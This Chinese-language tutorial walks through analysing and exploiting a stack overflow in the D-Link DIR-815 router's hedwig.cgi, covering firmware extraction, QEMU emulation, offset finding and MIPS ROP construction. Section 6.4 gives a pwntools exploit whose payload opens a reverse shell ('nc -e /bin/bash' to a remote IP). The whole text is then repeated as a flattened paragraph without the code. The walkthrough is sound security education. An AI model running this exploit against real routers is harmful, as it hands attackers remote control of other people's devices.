IOT安全快速入门_D-LINK DIR-815漏洞硬核图解过程
字数 2000 2025-08-22 12:23:00

D-LINK DIR-815路由器漏洞分析与利用教程

1. 漏洞概述

D-LINK DIR-815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。该漏洞允许未经认证的远程攻击者通过传递超长的Cookie值,导致程序栈溢出,从而可能获得路由器的远程控制权限。

漏洞公告要点:

  • 漏洞组件:hedwig.cgi(实际是cgibin的符号链接)
  • 触发方式:通过HTTP_COOKIE字段传递超长uid值
  • 漏洞类型:栈缓冲区溢出
  • 影响:可能导致远程代码执行

2. 环境准备

2.1 所需工具和资源

  1. 固件下载

    • ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
  2. 调试工具

    • gdbserver各架构对应调试文件:https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
    • IDA Pro 6.8/7.5(用于静态分析和调试)
    • Ghidra(用于MIPS架构反汇编和反编译)
  3. 仿真环境

    • qemu-mips仿真相关内核和虚拟硬盘:https://people.debian.org/~aurel32/qemu/

2.2 固件提取

使用binwalk提取固件:

binwalk -Me DIR-815_FIRMWARE_1.01.ZIP

查找关键文件:

find . -name '*cgi'
ls -l ./htdocs/web/hedwig.cgi

3. 漏洞分析

3.1 静态分析

  1. 使用IDA打开cgibin文件
  2. 搜索字符串"HTTP_COOK"并通过交叉引用定位到hedwigcgi_main函数
  3. 分析hedwigcgi_main函数流程:
    • 通过sess_get_uid()获取HTTP_COOKIE中uid=之后的值
    • 使用sprintf函数将内容拷贝到栈中
    • 未对输入大小进行限制,导致栈溢出

关键点:

  • 实际有两个sprintf函数调用,第二个才是真实环境利用的位置
  • 第一个sprintf在仿真环境中可能因缺少文件导致利用失败

3.2 动态分析

3.2.1 QEMU用户模式调试

  1. 准备动态链接库:
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
  1. 调试脚本示例(test.sh):
#!/bin/bash
test=$(python -c "print 'uid='+open('content','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=$test \
-E REQUEST_URL="/hedwig.cgi" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
  1. 使用patternLocOffset.py生成定位字符串:
python patternLocOffset.py -c -l 2000 -f content

3.2.2 确定偏移量

  1. 自动确定:
python patternLocOffset.py -s 0x38694237 -l 2000
  1. 手动确定:
    • 找到栈上缓冲区起始位置
    • 找到保存$RA的位置
    • 计算两者偏移

注意点:

  • 注意大小端问题
  • 第二个sprintf函数才是真实环境利用的位置

4. ROP链构造

4.1 攻击目标

通过调用system('/bin/sh')获取shell权限。

4.2 关键步骤

  1. 在libc.so中定位system函数地址
  2. 将'/bin/sh'字符串放入栈中
  3. 使用gadget将栈上的'/bin/sh'传入a0寄存器
  4. 调用system函数

4.3 注意事项

  1. cache incoherency问题

    • MIPS CPU有指令cache和数据cache
    • 需要调用堵塞函数(如sleep(1))确保数据写入内存
  2. 坏字符

    • 可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(换行符)等

5. QEMU系统模式仿真

5.1 环境配置

  1. 启动qemu系统:
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic -net tap -nographic

注意:确保内核和虚拟硬盘文件来自同一目录且大小端序匹配。

5.2 网络配置

参考家用路由器研究详解入门中的网络配置方法,确保两台主机互通。

5.3 文件系统准备

  1. 将提取的文件系统拷贝到mipsel虚拟机:
sudo scp -r squashfs-root root@192.168.x.x:/root/
  1. 配置启动http服务(copy.sh):
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

5.4 测试访问

  1. 浏览器访问:
http://192.168.x.x:1234/hedwig.cgi
  1. 或使用curl:
curl http://192.168.x.x:1234/hedwig.cgi -v -X POST \
-H "Content-Length: 8" -b "uid=zh"

6. 漏洞利用

6.1 调试设置

  1. 设置环境变量:
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
  1. 关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space

6.2 调试脚本(debug.sh)

#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi

6.3 确定libc基地址

/htdocs/web/hedwig.cgi & cat /proc/pid/maps

6.4 EXP示例

#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"

base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'

padding = 'A' * 973  # 1009-4*9
padding += p32(base_addr + system_addr_1)  # s0
padding += p32(base_addr + gadget2)  # s1
padding += 'A' * 4  # s2
padding += 'A' * 4  # s3
padding += 'A' * 4  # s4
padding += 'A' * 4  # s5
padding += 'A' * 4  # s6
padding += 'A' * 4  # s7
padding += 'A' * 4  # fp
padding += p32(base_addr + gadget1)  # ra
padding += 'B' * 0x10
padding += cmd

f = open("context",'wb')
f.write(padding)
f.close()

7. 常见问题与解决方案

  1. QEMU仿真问题

    • 确保内核和虚拟硬盘文件匹配
    • 注意大小端序选择正确的qemu版本
  2. 调试数据不一致

    • 确保对指定内容同步观察
    • 注意IDA对内存读写的保护机制可能导致数据显示不全
  3. 环境变量设置

    • 变量名和值之间不能有空格
    • 确保设置了所有必要的环境变量
  4. 浏览器访问问题

    • 默认可能是https访问,需手动改为http
  5. 动态链接库问题

    • 确保所有需要的库文件都已复制到正确位置
    • 注意库文件的权限和符号链接

8. 总结

本教程详细介绍了D-LINK DIR-815路由器漏洞的分析与利用过程,包括:

  1. 环境搭建与固件提取
  2. 静态分析与动态调试
  3. 漏洞定位与偏移确定
  4. ROP链构造与利用
  5. QEMU系统模式仿真
  6. 实际漏洞利用示例

关键点:

  • 注意真实环境中第二个sprintf才是可利用点
  • 处理好cache incoherency问题
  • 注意坏字符的影响
  • 确保仿真环境配置正确

通过本教程,读者可以学习到路由器漏洞分析的基本流程和方法,为后续的IoT安全研究打下基础。

D-LINK DIR-815路由器漏洞分析与利用教程 1. 漏洞概述 D-LINK DIR-815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。该漏洞允许未经认证的远程攻击者通过传递超长的Cookie值,导致程序栈溢出,从而可能获得路由器的远程控制权限。 漏洞公告要点: 漏洞组件:hedwig.cgi(实际是cgibin的符号链接) 触发方式:通过HTTP_ COOKIE字段传递超长uid值 漏洞类型:栈缓冲区溢出 影响:可能导致远程代码执行 2. 环境准备 2.1 所需工具和资源 固件下载 : ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_ FIRMWARE_ 1.01.ZIP 调试工具 : gdbserver各架构对应调试文件:https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver IDA Pro 6.8/7.5(用于静态分析和调试) Ghidra(用于MIPS架构反汇编和反编译) 仿真环境 : qemu-mips仿真相关内核和虚拟硬盘:https://people.debian.org/~aurel32/qemu/ 2.2 固件提取 使用binwalk提取固件: 查找关键文件: 3. 漏洞分析 3.1 静态分析 使用IDA打开cgibin文件 搜索字符串"HTTP_ COOK"并通过交叉引用定位到hedwigcgi_ main函数 分析hedwigcgi_ main函数流程: 通过sess_ get_ uid()获取HTTP_ COOKIE中uid=之后的值 使用sprintf函数将内容拷贝到栈中 未对输入大小进行限制,导致栈溢出 关键点: 实际有两个sprintf函数调用,第二个才是真实环境利用的位置 第一个sprintf在仿真环境中可能因缺少文件导致利用失败 3.2 动态分析 3.2.1 QEMU用户模式调试 准备动态链接库: 调试脚本示例(test.sh): 使用patternLocOffset.py生成定位字符串: 3.2.2 确定偏移量 自动确定: 手动确定: 找到栈上缓冲区起始位置 找到保存$RA的位置 计算两者偏移 注意点: 注意大小端问题 第二个sprintf函数才是真实环境利用的位置 4. ROP链构造 4.1 攻击目标 通过调用system('/bin/sh')获取shell权限。 4.2 关键步骤 在libc.so中定位system函数地址 将'/bin/sh'字符串放入栈中 使用gadget将栈上的'/bin/sh'传入a0寄存器 调用system函数 4.3 注意事项 cache incoherency问题 : MIPS CPU有指令cache和数据cache 需要调用堵塞函数(如sleep(1))确保数据写入内存 坏字符 : 可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(换行符)等 5. QEMU系统模式仿真 5.1 环境配置 启动qemu系统: 注意:确保内核和虚拟硬盘文件来自同一目录且大小端序匹配。 5.2 网络配置 参考家用路由器研究详解入门中的网络配置方法,确保两台主机互通。 5.3 文件系统准备 将提取的文件系统拷贝到mipsel虚拟机: 配置启动http服务(copy.sh): 5.4 测试访问 浏览器访问: 或使用curl: 6. 漏洞利用 6.1 调试设置 设置环境变量: 关闭地址随机化: 6.2 调试脚本(debug.sh) 6.3 确定libc基地址 6.4 EXP示例 7. 常见问题与解决方案 QEMU仿真问题 : 确保内核和虚拟硬盘文件匹配 注意大小端序选择正确的qemu版本 调试数据不一致 : 确保对指定内容同步观察 注意IDA对内存读写的保护机制可能导致数据显示不全 环境变量设置 : 变量名和值之间不能有空格 确保设置了所有必要的环境变量 浏览器访问问题 : 默认可能是https访问,需手动改为http 动态链接库问题 : 确保所有需要的库文件都已复制到正确位置 注意库文件的权限和符号链接 8. 总结 本教程详细介绍了D-LINK DIR-815路由器漏洞的分析与利用过程,包括: 环境搭建与固件提取 静态分析与动态调试 漏洞定位与偏移确定 ROP链构造与利用 QEMU系统模式仿真 实际漏洞利用示例 关键点: 注意真实环境中第二个sprintf才是可利用点 处理好cache incoherency问题 注意坏字符的影响 确保仿真环境配置正确 通过本教程,读者可以学习到路由器漏洞分析的基本流程和方法,为后续的IoT安全研究打下基础。